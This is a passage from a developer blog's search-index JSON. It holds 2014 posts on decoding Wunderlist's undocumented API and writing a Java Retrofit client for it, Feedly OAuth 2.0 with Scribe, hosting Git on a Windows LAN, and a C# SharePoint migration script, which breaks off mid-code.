\u0026#34;consumed_quota_comments_daily_date\u0026#34;:\u0026#34;2013-09-26\u0026#34;, \u0026#34;consumed_quota_comments_overall\u0026#34;:\u0026#34;0\u0026#34;, \u0026#34;consumed_quota_files_daily\u0026#34;:\u0026#34;0\u0026#34;, \u0026#34;consumed_quota_files_daily_date\u0026#34;:\u0026#34;2013-09-26\u0026#34;, \u0026#34;consumed_quota_files_overall\u0026#34;:\u0026#34;0\u0026#34;, \u0026#34;created_by_compound_id\u0026#34;:\u0026#34;AAAEAABXCxQ\u0026#34;, \u0026#34;created_by_id\u0026#34;:\u0026#34;5704468\u0026#34;, \u0026#34;created_by_type\u0026#34;:\u0026#34;User\u0026#34;, \u0026#34;experiment_chatter_notifications\u0026#34;:\u0026#34;compacted\u0026#34;, \u0026#34;notifications_email_enabled\u0026#34;:\u0026#34;false\u0026#34;, \u0026#34;notifications_push_enabled\u0026#34;:\u0026#34;true\u0026#34;, \u0026#34;setting\u0026#34;:\u0026#34;{}\u0026#34;, \u0026#34;show_completed_items\u0026#34;:\u0026#34;false\u0026#34;, \u0026#34;sound_checkoff_enabled\u0026#34;:\u0026#34;false\u0026#34;, \u0026#34;sound_notification_enabled\u0026#34;:\u0026#34;false\u0026#34;, \u0026#34;start_of_week\u0026#34;:\u0026#34;mon\u0026#34;, \u0026#34;use_badge_icon\u0026#34;:\u0026#34;notifications\u0026#34;, \u0026#34;web_app_open_count\u0026#34;:\u0026#34;2\u0026#34;, \u0026#34;web_coach_mark_detail_view\u0026#34;:\u0026#34;completed\u0026#34;, \u0026#34;web_coach_mark_inbox\u0026#34;:\u0026#34;completed\u0026#34;, \u0026#34;web_coach_mark_smart_list\u0026#34;:\u0026#34;completed\u0026#34;, \u0026#34;web_last_app_open_date\u0026#34;:\u0026#34;1398969000000\u0026#34;, \u0026#34;web_last_used_release\u0026#34;:\u0026#34;2.3.8.3\u0026#34;, \u0026#34;web_new_installation\u0026#34;:\u0026#34;true\u0026#34;, \u0026#34;web_shortcut_add_new_task\u0026#34;:\u0026#34;CTRL + 0\u0026#34;, \u0026#34;web_significant_event_count\u0026#34;:\u0026#34;5\u0026#34;, \u0026#34;web_uuid\u0026#34;:\u0026#34;d45186f5-0699-4986-906d-c6ad3f88c180\u0026#34; } This piece of information is very important for us in JSON response: token:8758a4a0f983177a427a879a30b144d92bc2f01e. This is the token which we need to send in any of the other REST API requests otherwise you will get this error in response:\n{ \u0026#34;errors\u0026#34;: { \u0026#34;message\u0026#34;:\u0026#34;You must be authenticated to continue.\u0026#34;, \u0026#34;type\u0026#34;:\u0026#34;unauthorized\u0026#34; } } Let\u0026rsquo;s try to retrieve the lists using the /lists API and the token:\nThe result is the list of Wunderlist lists I have in my account:\n{ \u0026#34;id\u0026#34;:\u0026#34;ABAEAAS9pWM\u0026#34;, \u0026#34;type\u0026#34;:\u0026#34;List\u0026#34;, \u0026#34;local_identifier\u0026#34;:\u0026#34;localId:prepopulated:AAAEAABXCxQ:List:private\u0026#34;, \u0026#34;owner_id\u0026#34;:\u0026#34;AAAEAABXCxQ\u0026#34;, \u0026#34;position\u0026#34;:4.37502, \u0026#34;title\u0026#34;:\u0026#34;Private\u0026#34;, \u0026#34;created_at\u0026#34;:\u0026#34;2013-07-07T01:25:06Z\u0026#34;, \u0026#34;updated_at\u0026#34;:\u0026#34;2014-04-29T11:05:46Z\u0026#34; }, { \u0026#34;id\u0026#34;:\u0026#34;ABAEAAS9pWQ\u0026#34;, \u0026#34;type\u0026#34;:\u0026#34;List\u0026#34;, \u0026#34;local_identifier\u0026#34;:\u0026#34;localId:prepopulated:AAAEAABXCxQ:List:work\u0026#34;, \u0026#34;owner_id\u0026#34;:\u0026#34;AAAEAABXCxQ\u0026#34;, \u0026#34;position\u0026#34;:1.87502, \u0026#34;title\u0026#34;:\u0026#34;Work\u0026#34;, \u0026#34;created_at\u0026#34;:\u0026#34;2013-07-07T01:25:06Z\u0026#34;, \u0026#34;updated_at\u0026#34;:\u0026#34;2014-04-11T07:52:33Z\u0026#34; } Using a similar approach, we can invoke the following REST API\u0026rsquo;s and get their responses in JSON:\n/me/settings\n/me\n/me/contacts\n/me/services\n/me/lists\n/me/tasks\n/me/reminders\n/me/shares\n/me/events\n/me/quota\nA note about authentication At this moment, there is no OAuth implementation for the authorization on this API and probably this is the reason the API is not public yet. This means, the token we recieve in response /login call will have some expiry date attached to it. Hence, if we plan to build some functionality based on this information, it is sufficient to assume that we need to re-authenticate using the username and password once the token expires.\nIn the part II of this blog post, I am going to share a partial implementation of this API in java using Retrofit\n","permalink":"https://madhur.co.in/blog/2014/05/02/decodewunderlistapi.html","summary":"\u003cp\u003eWithout any doubt, \u003ca href=\"https://www.wunderlist.com\"\u003eWunderlist\u003c/a\u003e is the most popular to do list manager. With its increasing popularity, demand is growing for people to let Wunderlist expose\nits API to public so that users can build great apps around it and integrate it with their systems. Posts such as \u003ca href=\"https://wunderlist.uservoice.com/forums/136230-wunderlist-feature-requests/suggestions/2378704-developers-api\"\u003ethis\u003c/a\u003e on Wunderlist support forum clearly indicate the popularity and demand for such an API.\u003c/p\u003e\n\u003cp\u003eAlthough, Wunderlist has yet not exposed any public API but it seems there are definite plans for that going by post such as \u003ca href=\"http://techcrunch.com/2013/11/12/to-do-app-wunderlist-confirms-19m-series-b-and-expands-to-the-us-while-sequoia-heads-into-germany/\"\u003ethis\u003c/a\u003e\nNevertheless, what I found is that it is easy to discover the Wunderlist API by simply inspecting the HTTPS traffic over the Wunderlist web site. If we see their Licenses section, it is easy to see that they\nuse \u003ca href=\"http://backbonejs.org/\"\u003ebackbone.js\u003c/a\u003e along with \u003ca href=\"http://jquery.com/\"\u003eJquery\u003c/a\u003e and \u003ca href=\"http://requirejs.org/\"\u003eRequireJs\u003c/a\u003e giving the clear indication of MVC pattern being in use along with \u003ca href=\"\"\u003eJSON\u003c/a\u003e as the data exchange format\u003c/p\u003e","title":"Decoding the hidden Wunderlist API (Part I)"},{"content":"In part I we discovered the hidden Wunderlist API. In this post, I am to show partial implementation of this API client in Java using Retrofit. The implementation is hosted in my Git repository. Feed free to fork, extend or submit appropriate pull requests. I will be glad to accept your contribution.\nRetrofit is a java library which turns your REST API into java interfaces. For example, the REST API which we discovered in Part I will be defined as:\npublic interface WunderAPI { @FormUrlEncoded @POST(\u0026#34;/login\u0026#34;) LoginResponse login(@Field(\u0026#34;email\u0026#34;) String username, @Field(\u0026#34;password\u0026#34;)String password); @GET(value = \u0026#34;/me\u0026#34;) Me getUserInfo(@Header(\u0026#34;Authorization\u0026#34;) String authorization); @GET(value = \u0026#34;/me/tasks\u0026#34;) List\u0026lt;WTask\u0026gt; GetWunderTasks(@Header(\u0026#34;Authorization\u0026#34;) String authorization); @POST(value = \u0026#34;/me/tasks\u0026#34;) List\u0026lt;WTask\u0026gt; CreateWunderTask(@Header(\u0026#34;Authorization\u0026#34;) String authorization, String listId, String title, String isStarred, String dueDate); @GET(value = \u0026#34;/me/lists\u0026#34;) List\u0026lt;WList\u0026gt; GetLists(@Header(\u0026#34;Authorization\u0026#34;) String authorization); } Java Classes such as WList, WTask and Me all map to the JSON response returned by individual REST API.\nHow do I invoke the API? Invoking the API is simple. There is a helper class WunderList which is basically a singleton and you have get its instance by providing the wunderlist username and password. Once we have the instance we can invoke the corresponding helper methods such as GetLists and GetTasks.\nwunderList=WunderList.getInstance(username, password); List\u0026lt;WList\u0026gt; wlists=wunderList.GetLists(); List\u0026lt;WTask\u0026gt; wTasks=wunderList.GetTasks(); Contributing I will be glad to accept pull requests to make this API client as complete as possible. Since this is still a very partial implementation, I look forward to the contributions from people who want to build something awesome using Wunderlist API.\nThe project is an Eclipse java application. You can either use eclipse or gradle to build it. For example, using gradle use the task mainjar to build the executable jar\nD:\\Users\\madhur\\workspace\\location\\Wunderjava\u0026gt;gradle mainjar :mainjar UP-TO-DATE BUILD SUCCESSFUL Total time: 3.945 secs D:\\Users\\madhur\\workspace\\location\\Wunderjava\u0026gt;cd build D:\\Users\\madhur\\workspace\\location\\Wunderjava\\build\u0026gt;cd libs D:\\Users\\madhur\\workspace\\location\\Wunderjava\\build\\libs\u0026gt;java -jar Wunderjava.jar Enter the Wunderlist username: ahuja.madhur@gmail.com Enter the Wunderlist password: thisisnottherightpassword Name: madhur Authorization Toekn: 8758a4a0f983177a427a879a30b144d92bc2f01e Press enter to print out the lists Printing out the lists: Private Work Shopping Movies to Watch Wishlist Places Activities App ideas Healthy foods Lunch Role models Friends Kanika session Learning Blog Articles Coconut milk Home shpng Kwality bazar Saturday Press enter to print out the tasks ","permalink":"https://madhur.co.in/blog/2014/05/02/decodewunderlistapi2.html","summary":"\u003cp\u003eIn \u003ca href=\"/blog/2014/05/02/decodewunderlistapi.html\"\u003epart I\u003c/a\u003e we discovered the hidden Wunderlist API. In this post, I am to show partial implementation of this API client in Java using \u003ca href=\"http://square.github.io/retrofit/\"\u003eRetrofit\u003c/a\u003e.\nThe implementation is hosted in my \u003ca href=\"https://github.com/madhur/wunder-java\"\u003eGit repository\u003c/a\u003e. Feed free to fork, extend or submit appropriate pull requests. I will be glad to accept your contribution.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://square.github.io/retrofit/\"\u003eRetrofit\u003c/a\u003e is a java library which turns your REST API into java interfaces. For example, the REST API which we discovered in Part I will be defined as:\u003c/p\u003e","title":"Decoding the hidden Wunderlist API (Part II)"},{"content":"Since the Google Reader retirement, Feedly hasb been slowly becoming more and more popular. Recently, Feedly announced their API Model which allows developers to create apps which integrate with feedly. Applications authenticate users using a feedly OAuth 2.0 interface. In this post, I am going to cover the Feedly OAuth 2.0 authentication flow which can be used in Mobile/Web apps. I am not going to cover any details into OAuth 2. The official specs of OAuth2 can be read here and a nice tutorial here on Code Academy. Wikipedia too gives a nice little intro about OAuth 2 given below:\nQuoting from Wikipedia\nOAuth is an open standard for authorization. OAuth provides client applications a \u0026lsquo;secure delegated access\u0026rsquo; to server resources on behalf of a resource owner. It specifies a process for resource owners to authorize third-party access to their server resources without sharing their credentials. OAuth is a service that is complementary to, and therefore distinct from, OpenID. OAuth is also distinct from OATH, which is a reference architecture for authentication, not a standard.\nSince, I am using Java platform, I will be using a nice little OAuth library called Scribe. It is an open source library hosted on github and is a great resource to learn about OAuth 2.0 flow and specs. Basically, to implement any OAuth 2.0 API, you need to extend a class called DefaultApi20 and provide some of the obvious parameters such as Authorization Url, Access token URL and client id and secret.\nThe implementation of this class is maintained in my fork of Scribe repo. This is the direct link to the sources file. Feel free to use it to build awesome feedly Apps.\nI also created a test Java Program. And here is the output of running the test:\n=== Feedly\u0026#39;s OAuth Workflow === Fetching the Authorization URL... Got the Authorization URL! Now go and authorize Scribe here: https://sandbox.feedly.com/v3/auth/auth?client_id=sandbox\u0026amp;redirect_uri=http%3A%2F%2Flocalhost%3A8080\u0026amp;response_type=code\u0026amp;scope=https://cloud.feedly.com/subscriptions And paste the authorization code here \u0026gt;\u0026gt;At2PvX57ImkiOiJiZmRiNDVkMi01MmRiLTRkMWUtOWRhOS01OGM5YWVjYzJjMzUiLCJ1IjoiMTAxMjk2MjUyNDE1MzQ5MDM1NzgwIiwicCI6NiwiYSI6IkZlZWRseSBzYW5kYm94IGNsaWVudCIsInQiOjEzOTc3MTg4NzkwNzJ9 Trading the Request Token for an Access Token... Got the Access Token! (if your curious it looks like this: Token[AmdDThh7ImEiOiJGZWVkbHkgc2FuZGJveCBjbGllbnQiLCJlIjoxMzk4MzIzNjk1OTUzLCJpIjoiYmZkYjQ1ZDItNTJkYi00ZDFlLTlkYTktNThjOWFlY2MyYzM1IiwicCI6NiwidCI6MSwidiI6InNhbmRib3giLCJ4Ijoic3RhbmRhcmQifQ:sandbox , ] ) Now we\u0026#39;re going to access a protected resource... Got it! Lets see what we found... 200 {\u0026#34;id\u0026#34;:\u0026#34;bfdb45d2-52db-4d1e-9da9-58c9aecc2c35\u0026#34;,\u0026#34;client\u0026#34;:\u0026#34;Feedly sandbox client\u0026#34;,\u0026#34;wave\u0026#34;:\u0026#34;2014.7\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;ahuja.madhur@gmail.com\u0026#34;,\u0026#34;familyName\u0026#34;:\u0026#34;Ahuja\u0026#34;,\u0026#34;givenName\u0026#34;:\u0026#34;Madhur\u0026#34;,\u0026#34;google\u0026#34;:\u0026#34;101296252415349035780\u0026#34;,\u0026#34;gender\u0026#34;:\u0026#34;male\u0026#34;,\u0026#34;picture\u0026#34;:\u0026#34;https://lh3.googleusercontent.com/-YffmYR2CFxI/AAAAAAAAAAI/AAAAAAAAJCw/SIOxMsWmxYQ/photo.jpg?sz=50\u0026#34;,\u0026#34;created\u0026#34;:1392372977783,\u0026#34;windowsLiveConnected\u0026#34;:false,\u0026#34;wordPressConnected\u0026#34;:false,\u0026#34;facebookConnected\u0026#34;:false,\u0026#34;evernoteConnected\u0026#34;:false,\u0026#34;pocketConnected\u0026#34;:false,\u0026#34;twitterConnected\u0026#34;:false,\u0026#34;fullName\u0026#34;:\u0026#34;Madhur Ahuja\u0026#34;} Thats it man! Go and build something awesome with Scribe! :) ","permalink":"https://madhur.co.in/blog/2014/04/17/feedlyoauth2flow.html","summary":"\u003cp\u003eSince the Google Reader retirement, \u003ca href=\"http://feedly.com\"\u003eFeedly\u003c/a\u003e hasb been slowly becoming more and more popular. Recently, Feedly announced their \u003ca href=\"http://developer.feedly.com/\"\u003eAPI Model\u003c/a\u003e which\nallows developers to create apps which integrate with feedly. Applications authenticate users using a feedly OAuth 2.0 interface. In this post, I am going to cover the Feedly OAuth 2.0 authentication flow\nwhich can be used in  Mobile/Web apps. I am not going to cover any details into OAuth 2. The official specs of OAuth2 can be read \u003ca href=\"http://tools.ietf.org/html/rfc6749\"\u003ehere\u003c/a\u003e and a nice tutorial \u003ca href=\"http://www.codecademy.com/tracks/oauth\"\u003ehere\u003c/a\u003e on \u003ca href=\"http://www.codecademy.com\"\u003eCode Academy\u003c/a\u003e. Wikipedia too gives a nice little intro about OAuth 2 given below:\u003c/p\u003e","title":"Feedly OAuth 2.0 implementation using Scribe in Java"},{"content":"Recently, I had a small team of developers and was looking to setup a version control system for them.\nI evaluated many tools like VSTS, Subversion and finally decided on Git repository hosted on a Windows LAN.\nFirst of all, find or create a network share on which everybody will have a read/write access. For example: \\\\Group03\\Silverlight_Projects\\EXCEL\\Solution\nFirst of all, you need to create a blank bare repository at this location. However, since you cannot cd into a network shared location, we will use pushd command as follows:\npushd \\\\Group03\\Silverlight_Projects\\EXCEL\\Solution This command will map it to a network drive and cd into it.\nCreate a bare git repository.\ngit init --bare Now all we need to do is add the newly created remote bare repository to our local repo and push our code up.\ngit remote add origin //Group03/Silverlight_Projects/EXCEL/Solution git push origin master ","permalink":"https://madhur.co.in/blog/2014/04/09/hostgitwindowslan.html","summary":"\u003cp\u003eRecently, I had a small team of developers and was looking to setup a version control system for them.\u003c/p\u003e\n\u003cp\u003eI evaluated many tools like VSTS, Subversion and finally decided on Git repository hosted on a Windows LAN.\u003c/p\u003e\n\u003cp\u003eFirst of all, find or create a network share on which everybody will have a read/write access. For example:\n\u003ccode\u003e\\\\Group03\\Silverlight_Projects\\EXCEL\\Solution\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eFirst of all, you need to create a blank bare repository at this location. However, since you cannot \u003ccode\u003ecd\u003c/code\u003e into a network\nshared location, we will use \u003ccode\u003epushd\u003c/code\u003e command as follows:\u003c/p\u003e","title":"Hosting Git repository on a Windows LAN"},{"content":"Recently, we did a migration from SharePoint 2010 old site to a new site and as a result imported a bunch of records.\nHowever, the Created By field was reset to the Account of the person performing the migration. To overcome this, I wrote a quick script to update the Created By field. The field was updated from another field Old_Created_By_Person\nusing Microsoft.SharePoint.Client; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace SPUpdateField { class Program { static void Main(string[] args) { ClientContext ctx = new ClientContext(\u0026#34;https://teams.aexp.com/sites/excel\u0026#34;); List list = ctx.Web.Lists.GetByTitle(\u0026#34;Idea\u0026#34;); ListItemCollection items = list.GetItems(CamlQuery.CreateAllItemsQuery()); ctx.Load(items); // loading all the fields ctx.ExecuteQuery(); foreach (var item in items) { ctx.Load(item); ctx.ExecuteQuery(); // important thing is, that here you must have the right type // i.e. item[\u0026#34;Modified\u0026#34;] is DateTime FieldUserValue val = item[\u0026#34;Old_Created_By_Person\u0026#34;] as FieldUserValue; if (val != null) { item[\u0026#34;Author\u0026#34;] = val; // do whatever changes you want item.Update(); // important, rembeber changes ctx.ExecuteQuery(); Console.WriteLine(\u0026#34;Updating \u0026#34; + item.Id); } } Console.WriteLine(\u0026#34;Done\u0026#34;); Console.ReadLine(); } } } ","permalink":"https://madhur.co.in/blog/2014/04/09/updatingcreatedby.html","summary":"\u003cp\u003eRecently, we did a migration from SharePoint 2010 old site to a new site and as a result imported a bunch of records.\u003c/p\u003e\n\u003cp\u003eHowever, the \u003ccode\u003eCreated By\u003c/code\u003e field was reset to the Account of the person performing the migration. To overcome this, I wrote a quick script to update the\n\u003ccode\u003eCreated By\u003c/code\u003e field. The field was updated from another field \u003ccode\u003eOld_Created_By_Person\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-csharp\" data-lang=\"csharp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"nn\"\u003eMicrosoft.SharePoint.Client\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"nn\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"nn\"\u003eSystem.Collections.Generic\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"nn\"\u003eSystem.Linq\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"nn\"\u003eSystem.Text\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"nn\"\u003eSystem.Threading.Tasks\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"nn\"\u003eSPUpdateField\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eProgram\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003estatic\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eMain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eClientContext\u003c/span\u003e \u003cspan class=\"n\"\u003ectx\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"n\"\u003eClientContext\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://teams.aexp.com/sites/excel\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eList\u003c/span\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWeb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLists\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetByTitle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Idea\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eListItemCollection\u003c/span\u003e \u003cspan class=\"n\"\u003eitems\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetItems\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCamlQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCreateAllItemsQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLoad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eitems\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// loading all the fields\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eExecuteQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eforeach\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eitem\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003eitems\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLoad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eitem\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eExecuteQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"c1\"\u003e// important thing is, that here you must have the right type\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"c1\"\u003e// i.e. item[\u0026#34;Modified\u0026#34;] is DateTime\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"n\"\u003eFieldUserValue\u003c/span\u003e \u003cspan class=\"n\"\u003eval\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eitem\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Old_Created_By_Person\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003eFieldUserValue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eval\u003c/span\u003e \u003cspan class=\"p\"\u003e!=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"n\"\u003eitem\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Author\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eval\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"c1\"\u003e// do whatever changes you want\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"n\"\u003eitem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eUpdate\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"c1\"\u003e// important, rembeber changes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eExecuteQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"n\"\u003eConsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWriteLine\u003c/span\u003e\u003cspan 